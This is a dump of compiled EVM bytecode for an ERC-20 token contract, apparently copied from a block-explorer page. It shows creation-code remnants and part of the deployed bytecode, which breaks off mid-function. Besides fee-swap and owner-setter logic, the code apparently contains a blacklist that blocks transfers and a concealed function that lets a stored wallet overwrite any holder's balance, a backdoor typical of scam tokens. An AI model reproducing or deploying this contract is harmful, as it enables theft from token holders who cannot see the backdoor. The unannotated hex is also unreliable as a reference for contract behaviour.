fffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ed19190614381565b60405180910390a3600193505050505b9392505050565b6000838311158290612f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f27919061427f565b60405180910390fd5b5060008385612f3f9190614577565b9050809150509392505050565b6000612f8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee8565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612fd35750600582145b90509392505050565b6000613067826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130fc82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161319c9190614381565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061320860026131fa6019546131ec601454876136b390919063ffffffff16565b61372e90919063ffffffff16565b61372e90919063ffffffff16565b9050600061321f8284612f4c90919063ffffffff16565b905061322a81613778565b6000479050600061325b61324a600260145461372e90919063ffffffff16565b601954612f4c90919063ffffffff16565b90506000613299600261328b8461327d601454886136b390919063ffffffff16565b61372e90919063ffffffff16565b61372e90919063ffffffff16565b905060006132c4836132b6601654876136b390919063ffffffff16565b61372e90919063ffffffff16565b905060006132ed826132df8588612f4c90919063ffffffff16565b612f4c90919063ffffffff16565b9050600081111561332557613324600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613a03565b5b600082111561335b5761335a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a03565b5b60008311801561336b5750600087115b1561337b5761337a8784613a4e565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166133c4600154613b42565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661349357600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561349257600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135145761350d60646134ff601754866136b390919063ffffffff16565b61372e90919063ffffffff16565b9050613592565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135915761358e6064613580601854866136b390919063ffffffff16565b61372e90919063ffffffff16565b90505b5b6000811115613696576135ed81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161368d9190614381565b60405180910390a35b6136a98184612f4c90919063ffffffff16565b9150509392505050565b6000808314156136c65760009050613728565b600082846136d4919061451d565b90508284826136e391906144ec565b14613723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371a90614341565b60405180910390fd5b809150505b92915050565b600061377083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b54565b905092915050565b6000600267ffffffffffffffff811115613795576137946147c4565b5b6040519080825280602002602001820160405280156137c35781602001602082028036833780820191505090505b50905030816000815181106137db576137da614795565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387d57600080fd5b505afa158015613891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138b59190613cad565b816001815181106138c9576138c8614795565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061393030601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139949594939291906143cc565b600060405180830381600087803b1580156139ae57600080fd5b505af11580156139c2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516139f792919061439c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a49573d6000803e3d6000fd5b505050565b613a7b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613ac7611def565b426040518863ffffffff1660e01b8152600401613ae9969594939291906141e8565b6060604051808303818588803b158015613b0257600080fd5b505af1158015613b16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b3b9190613f1a565b5050505050565b6000613b4d82613bb7565b9050919050565b60008083118290613b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b92919061427f565b60405180910390fd5b5060008385613baa91906144ec565b9050809150509392505050565b6000819050919050565b600081359050613bd0816149fa565b92915050565b600081519050613be5816149fa565b92915050565b60008083601f840112613c0157613c006147f8565b5b8235905067ffffffffffffffff811115613c1e57613c1d6147f3565b5b602083019150836020820283011115613c3a57613c396147fd565b5b9250929050565b600081359050613c5081614a11565b92915050565b600081359050613c6581614a28565b92915050565b600081519050613c7a81614a28565b92915050565b600060208284031215613c9657613c95614807565b5b6000613ca484828501613bc1565b91505092915050565b600060208284031215613cc357613cc2614807565b5b6000613cd184828501613bd6565b91505092915050565b60008060408385031215613cf157613cf0614807565b5b6000613cff85828601613bc1565b9250506020613d1085828601613bc1565b9150509250929050565b600080600060608486031215613d3357613d32614807565b5b6000613d4186828701613bc1565b9350506020613d5286828701613bc1565b9250506040613d6386828701613c56565b9150509250925092565b60008060408385031215613d8457613d83614807565b5b6000613d9285828601613bc1565b9250506020613da385828601613c56565b9150509250929050565b600080600060408486031215613dc657613dc5614807565b5b600084013567ffffffffffffffff811115613de457613de3614802565b5b613df086828701613beb565b93509350506020613e0386828701613c41565b9150509250925092565b600080600060408486031215613e2657613e25614807565b5b600084013567ffffffffffffffff811115613e4457613e43614802565b5b613e5086828701613beb565b93509350506020613e6386828701613c56565b9150509250925092565b600060208284031215613e8357613e82614807565b5b6000613e9184828501613c41565b91505092915050565b600060208284031215613eb057613eaf614807565b5b6000613ebe84828501613c56565b91505092915050565b600080600060608486031215613ee057613edf614807565b5b6000613eee86828701613c56565b9350506020613eff86828701613c56565b9250506040613f1086828701613c56565b9150509250925092565b600080600060608486031215613f3357613f32614807565b5b6000613f4186828701613c6b565b9350506020613f5286828701613c6b565b9250506040613f6386828701613c6b565b9150509250925092565b6000613f798383613f94565b60208301905092915050565b613f8e816145bd565b82525050565b613f9d816145ab565b82525050565b613fac816145ab565b82525050565b6000613fbd82614451565b613fc78185614474565b9350613fd283614441565b8060005b83811015614003578151613fea8882613f6d565b9750613ff583614467565b925050600181019050613fd6565b5085935050505092915050565b614019816145cf565b82525050565b61402881614612565b82525050565b61403781614624565b82525050565b60006140488261445c565b6140528185614485565b935061406281856020860161465a565b61406b8161480c565b840191505092915050565b6000614083602383614485565b915061408e8261481d565b604082019050919050565b60006140a6602783614485565b91506140b18261486c565b604082019050919050565b60006140c9602283614485565b91506140d4826148bb565b604082019050919050565b60006140ec601b83614485565b91506140f78261490a565b602082019050919050565b600061410f602883614485565b915061411a82614933565b604082019050919050565b6000614132602183614485565b915061413d82614982565b604082019050919050565b6000614155602083614485565b9150614160826149d1565b602082019050919050565b614174816145fb565b82525050565b61418381614605565b82525050565b600060208201905061419e6000830184613fa3565b92915050565b60006020820190506141b96000830184613f85565b92915050565b60006040820190506141d46000830185613fa3565b6141e16020830184613fa3565b9392505050565b600060c0820190506141fd6000830189613fa3565b61420a602083018861416b565b614217604083018761402e565b614224606083018661402e565b6142316080830185613fa3565b61423e60a083018461416b565b979650505050505050565b600060208201905061425e6000830184614010565b92915050565b6000602082019050614279600083018461401f565b92915050565b60006020820190508181036000830152614299818461403d565b905092915050565b600060208201905081810360008301526142ba81614076565b9050919050565b600060208201905081810360008301526142da81614099565b9050919050565b600060208201905081810360008301526142fa816140bc565b9050919050565b6000602082019050818103600083015261431a816140df565b9050919050565b6000602082019050818103600083015261433a81614102565b9050919050565b6000602082019050818103600083015261435a81614125565b9050919050565b6000602082019050818103600083015261437a81614148565b9050919050565b6000602082019050614396600083018461416b565b92915050565b60006040820190506143b1600083018561416b565b81810360208301526143c38184613fb2565b90509392505050565b600060a0820190506143e1600083018861416b565b6143ee602083018761402e565b81810360408301526144008186613fb2565b905061440f6060830185613fa3565b61441c608083018461416b565b9695505050505050565b600060208201905061443b600083018461417a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006144a1826145fb565b91506144ac836145fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144e1576144e0614708565b5b828201905092915050565b60006144f7826145fb565b9150614502836145fb565b92508261451257614511614737565b5b828204905092915050565b6000614528826145fb565b9150614533836145fb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561456c5761456b614708565b5b828202905092915050565b6000614582826145fb565b915061458d836145fb565b9250828210156145a05761459f614708565b5b828203905092915050565b60006145b6826145db565b9050919050565b60006145c8826145db565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061461d82614636565b9050919050565b600061462f826145fb565b9050919050565b600061464182614648565b9050919050565b6000614653826145db565b9050919050565b60005b8381101561467857808201518184015260208101905061465d565b83811115614687576000848401525b50505050565b600060028204905060018216806146a557607f821691505b602082108114156146b9576146b8614766565b5b50919050565b60006146ca826145fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146fd576146fc614708565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652073656e6464657220746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e736665722073656e6464657220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b614a03816145ab565b8114614a0e57600080fd5b50565b614a1a816145cf565b8114614a2557600080fd5b50565b614a31816145fb565b8114614a3c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220143b33a778f7eab5b9f83139168ffcf7b397d2c16ee13b8b239bf6710d090f6f64736f6c63430008070033
Deployed Bytecode
0x60806040526004361061038f5760003560e01c806388790a68116101dc578063c49b9a8011610102578063da00097d116100a0578063f0cd1dac1161006f578063f0cd1dac14610dba578063f1d5f51714610de5578063f2fde38b14610e0e578063f872858a14610e3757610396565b8063da00097d14610cfe578063dc44b6a014610d29578063dc748c4714610d54578063dd62ed3e14610d7d57610396565b8063c8607952116100dc578063c860795214610c42578063c867d60b14610c6d578063cab0347114610caa578063d469a20914610cd557610396565b8063c49b9a8014610bc3578063c5d2418914610bec578063c816841b14610c1757610396565b8063a2a627221161017a578063a9059cbb11610149578063a9059cbb14610af5578063ae2116b814610b32578063c2d4640e14610b6f578063c469b6dd14610b9857610396565b8063a2a6272214610a3b578063a457c2d714610a64578063a5d69d1f14610aa1578063a83f53a714610aca57610396565b806391df7d06116101b657806391df7d061461098f57806395d89b41146109ba578063a073d37f146109e5578063a08e671f14610a1057610396565b806388790a68146108fc5780638b42507f146109275780638da5cb5b1461096457610396565b806339509351116102c15780635881f3ef1161025f5780637d1db4a51161022e5780637d1db4a51461083e578063807c2d9c1461086957806382eefb4314610894578063848e3e53146108bf57610396565b80635881f3ef1461077057806361a23c69146107ad5780636249faf1146107d857806370a082311461080157610396565b806347be85741161029b57806347be8574146106b45780634847a79c146106f15780634a74bb021461071a57806357a5802f1461074557610396565b806339509351146106115780633b97084a1461064e5780633ecad2711461067757610396565b806323b872dd1161032e5780632b112e49116103085780632b112e49146105695780632c4b233414610594578063313ce567146105bd57806335d23615146105e857610396565b806323b872dd146104d85780632563ae831461051557806327c8f8351461053e57610396565b80630a53ac941161036a5780630a53ac941461042c5780631245e347146104575780631694505e1461048257806318160ddd146104ad57610396565b80625e18071461039b57806306fdde03146103c4578063095ea7b3146103ef57610396565b3661039657005b600080fd5b3480156103a757600080fd5b506103c260048036038101906103bd9190613dad565b610e62565b005b3480156103d057600080fd5b506103d9610f9c565b6040516103e6919061427f565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613d6d565b61102e565b6040516104239190614249565b60405180910390f35b34801561043857600080fd5b5061044161104c565b60405161044e91906141a4565b60405180910390f35b34801561046357600080fd5b5061046c611072565b60405161047991906141a4565b60405180910390f35b34801561048e57600080fd5b50610497611098565b6040516104a49190614264565b60405180910390f35b3480156104b957600080fd5b506104c26110be565b6040516104cf9190614381565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190613d1a565b6110c8565b60405161050c9190614249565b60405180910390f35b34801561052157600080fd5b5061053c60048036038101906105379190613e6d565b6111a2565b005b34801561054a57600080fd5b50610553611254565b6040516105609190614189565b60405180910390f35b34801561057557600080fd5b5061057e611278565b60405161058b9190614381565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b69190613c80565b6112bc565b005b3480156105c957600080fd5b506105d2611395565b6040516105df9190614426565b60405180910390f35b3480156105f457600080fd5b5061060f600480360381019061060a9190613c80565b6113ac565b005b34801561061d57600080fd5b5061063860048036038101906106339190613d6d565b611485565b6040516106459190614249565b60405180910390f35b34801561065a57600080fd5b5061067560048036038101906106709190613e9a565b611538565b005b34801561068357600080fd5b5061069e60048036038101906106999190613c80565b6115d7565b6040516106ab9190614249565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d69190613c80565b6115f7565b6040516106e89190614249565b60405180910390f35b3480156106fd57600080fd5b5061071860048036038101906107139190613d6d565b611617565b005b34801561072657600080fd5b5061072f611697565b60405161073c9190614249565b60405180910390f35b34801561075157600080fd5b5061075a6116aa565b6040516107679190614381565b60405180910390f35b34801561077c57600080fd5b5061079760048036038101906107929190613c80565b6116b0565b6040516107a49190614189565b60405180910390f35b3480156107b957600080fd5b506107c2611c0e565b6040516107cf9190614381565b60405180910390f35b3480156107e457600080fd5b506107ff60048036038101906107fa9190613dad565b611c14565b005b34801561080d57600080fd5b5061082860048036038101906108239190613c80565b611d4e565b6040516108359190614381565b60405180910390f35b34801561084a57600080fd5b50610853611d97565b6040516108609190614381565b60405180910390f35b34801561087557600080fd5b5061087e611d9d565b60405161088b9190614381565b60405180910390f35b3480156108a057600080fd5b506108a9611da3565b6040516108b69190614381565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e19190613c80565b611da9565b6040516108f39190614249565b60405180910390f35b34801561090857600080fd5b50610911611dc9565b60405161091e9190614381565b60405180910390f35b34801561093357600080fd5b5061094e60048036038101906109499190613c80565b611dcf565b60405161095b9190614249565b60405180910390f35b34801561097057600080fd5b50610979611def565b6040516109869190614189565b60405180910390f35b34801561099b57600080fd5b506109a4611e18565b6040516109b19190614381565b60405180910390f35b3480156109c657600080fd5b506109cf611e1e565b6040516109dc919061427f565b60405180910390f35b3480156109f157600080fd5b506109fa611eb0565b604051610a079190614381565b60405180910390f35b348015610a1c57600080fd5b50610a25611eba565b604051610a329190614381565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d9190613ec7565b611ec0565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190613d6d565b611fa0565b604051610a989190614249565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac39190613e6d565b61206d565b005b348015610ad657600080fd5b50610adf61211f565b604051610aec9190614381565b60405180910390f35b348015610b0157600080fd5b50610b1c6004803603810190610b179190613d6d565b612125565b604051610b299190614249565b60405180910390f35b348015610b3e57600080fd5b50610b596004803603810190610b549190613c80565b612144565b604051610b669190614249565b60405180910390f35b348015610b7b57600080fd5b50610b966004803603810190610b919190613ec7565b612164565b005b348015610ba457600080fd5b50610bad612244565b604051610bba9190614381565b60405180910390f35b348015610bcf57600080fd5b50610bea6004803603810190610be59190613e6d565b61224a565b005b348015610bf857600080fd5b50610c01612333565b604051610c0e9190614381565b60405180910390f35b348015610c2357600080fd5b50610c2c612339565b604051610c399190614189565b60405180910390f35b348015610c4e57600080fd5b50610c5761235f565b604051610c649190614381565b60405180910390f35b348015610c7957600080fd5b50610c946004803603810190610c8f9190613c80565b612365565b604051610ca19190614249565b60405180910390f35b348015610cb657600080fd5b50610cbf612385565b604051610ccc9190614381565b60405180910390f35b348015610ce157600080fd5b50610cfc6004803603810190610cf79190613ec7565b61238b565b005b348015610d0a57600080fd5b50610d1361246b565b604051610d209190614249565b60405180910390f35b348015610d3557600080fd5b50610d3e61247e565b604051610d4b9190614381565b60405180910390f35b348015610d6057600080fd5b50610d7b6004803603810190610d769190613e0d565b612484565b005b348015610d8957600080fd5b50610da46004803603810190610d9f9190613cda565b6125ed565b604051610db19190614381565b60405180910390f35b348015610dc657600080fd5b50610dcf612674565b604051610ddc9190614381565b60405180910390f35b348015610df157600080fd5b50610e0c6004803603810190610e079190613e9a565b61267a565b005b348015610e1a57600080fd5b50610e356004803603810190610e309190613c80565b612719565b005b348015610e4357600080fd5b50610e4c61286b565b604051610e599190614249565b60405180910390f35b610e6a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614361565b60405180910390fd5b60005b83839050811015610f96578160086000868685818110610f1d57610f1c614795565b5b9050602002016020810190610f329190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8e906146bf565b915050610efa565b50505050565b606060028054610fab9061468d565b80601f0160208091040260200160405190810160405280929190818152602001828054610fd79061468d565b80156110245780601f10610ff957610100808354040283529160200191611024565b820191906000526020600020905b81548152906001019060200180831161100757829003601f168201915b5050505050905090565b600061104261103b6128dc565b84846128e4565b6001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60006110d5848484612aaf565b50611197846110e26128dc565b61119285604051806060016040528060288152602001614a4060289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111486128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b600190509392505050565b6111aa6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90614361565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006112b76112a67f000000000000000000000000000000000000000000000000000000000000dead611d4e565b601a54612f4c90919063ffffffff16565b905090565b6112c46128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134890614361565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6113b46128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611441576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143890614361565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061152e6114926128dc565b8461152985600760006114a36128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b6115406128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490614361565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b611645600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336005612f96565b61164e57611693565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60159054906101000a900460ff1681565b60145481565b60006116ba6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90614361565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561179257600080fd5b505afa1580156117a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ca9190613cad565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561182c57600080fd5b505afa158015611840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118649190613cad565b6040518363ffffffff1660e01b81526004016118819291906141bf565b60206040518083038186803b15801561189957600080fd5b505afa1580156118ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d19190613cad565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a92578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561194e57600080fd5b505afa158015611962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119869190613cad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119e857600080fd5b505afa1580156119fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a209190613cad565b6040518363ffffffff1660e01b8152600401611a3d9291906141bf565b602060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8f9190613cad565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c1c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090614361565b60405180910390fd5b60005b83839050811015611d48578160096000868685818110611ccf57611cce614795565b5b9050602002016020810190611ce49190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d40906146bf565b915050611cac565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015481565b606060038054611e2d9061468d565b80601f0160208091040260200160405190810160405280929190818152602001828054611e599061468d565b8015611ea65780601f10611e7b57610100808354040283529160200191611ea6565b820191906000526020600020905b815481529060010190602001808311611e8957829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b611ec86128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90614361565b60405180910390fd5b826011819055508160128190555080601381905550611f95601354611f8760125460115461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b6000612063611fad6128dc565b8461205e85604051806060016040528060258152602001614a686025913960076000611fd76128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b6001905092915050565b6120756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990614361565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b60006121396121326128dc565b8484612aaf565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b61216c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f090614361565b60405180910390fd5b82601481905550816015819055508060168190555061223960165461222b60155460145461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b60105481565b6122526128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d690614361565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516123289190614249565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b6123936128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241790614361565b60405180910390fd5b82600e8190555081600f8190555080601081905550612460601054612452600f54600e5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6124b2600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336005612f96565b